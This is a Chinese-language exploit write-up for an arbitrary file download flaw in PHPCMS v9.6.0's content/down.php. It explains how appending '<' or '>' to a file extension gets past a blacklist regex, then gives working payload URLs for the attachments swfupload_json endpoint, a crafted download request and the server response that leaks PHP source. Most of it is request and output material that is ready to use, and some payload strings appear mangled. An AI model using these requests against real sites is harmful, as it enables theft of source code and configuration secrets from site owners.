漏洞文件:
/phpcms/modules/content/down.php download函数
这个函数开始几行代码的作用和init函数中的几乎一样,都是从parse_str 解析传入的a_k参数,但这里调用了safe_replace函数过滤。
和文件名有关的参数是$s,$f。 这两个参数都是通过parse_str解析变量得到,然后程序对$f参数过滤,过滤规则如下:
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); $fileurl = trim($f);
过滤了一些黑名单,空格以及目录跳跃,之后把$s和$f作为下载文件路径:
if($m) $fileurl = trim($s).trim($fileurl);
再把拼接后的文件名过滤一次,程序继续运行,来到最关键的一步:
$fileurl = str_replace(array('<','>'), '',$fileurl); file_down($fileurl, $filename);
file_down函数是文件下载函数,调用readfile读取文件,在进入这个函数之前还用了一个str_replace 函数去除了大小括号,这就为我们绕过提供了思路,我们只需要构造 php< 或 php> 这样的后缀,就可以绕过正则, 之后被str_replace去掉了括号,就可以下载被过滤的文件后缀了。
a_k 的构造还是通过之前phpcms v9.6.0 sqli 那个构造cookie, 具体流程如下:
ayload 如下:
登录普通用户,访问链接:
http://192.168.5.161/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
获取分配的att_json
再访问
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70CPost
userid_flash=2c329hVguOLq0D2bnikDfuZXHNPFzbEB9pxi0Mm6
根据返回页面的cookie里面的到lkbzk_att_json ,再组合获取下载页面的payload
GET /index.php?m=content&c=down&a=download&a_k=976fLWUIDUHaVMnl_FtB4HdmjRb90l-uHZgmSo1Z4KHpB7tZB7RvDwPiIV6K6HtQ452IsyIrs38y8to35npWDPxaxdizTAWvZAVBJYBfJJIJgR56ajBIPd0vp4x2mmU6GUeQ HTTP/1.1Host: victim-serverAccept-Encoding: gzip, deflate, sdchAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Content-Length: 0 HTTP/1.1 200 OKDate: Wed, 03 May 2017 07:50:12 GMTServer: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.3.6Vary: Accept-EncodingPragma: publicLast-Modified: Wed, 03 May 2017 07:50:12 GMTCache-Control: pre-check=0, post-check=0, max-age=0Content-Transfer-Encoding: binaryContent-Encoding: noneContent-type: ph>pContent-Disposition: attachment; filename="20170503_035012279.ph>p"Content-length: 313 <?php/** * index.php PHPCMS 入口 * * @copyright (C) 2005-2010 PHPCMS * @license http://www.phpcms.cn/license/ * @lastmodify 2010-6-1 */ //PHPCMS根目录 define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); include PHPCMS_PATH.'/phpcms/base.php'; pc_base::creat_app(); ?>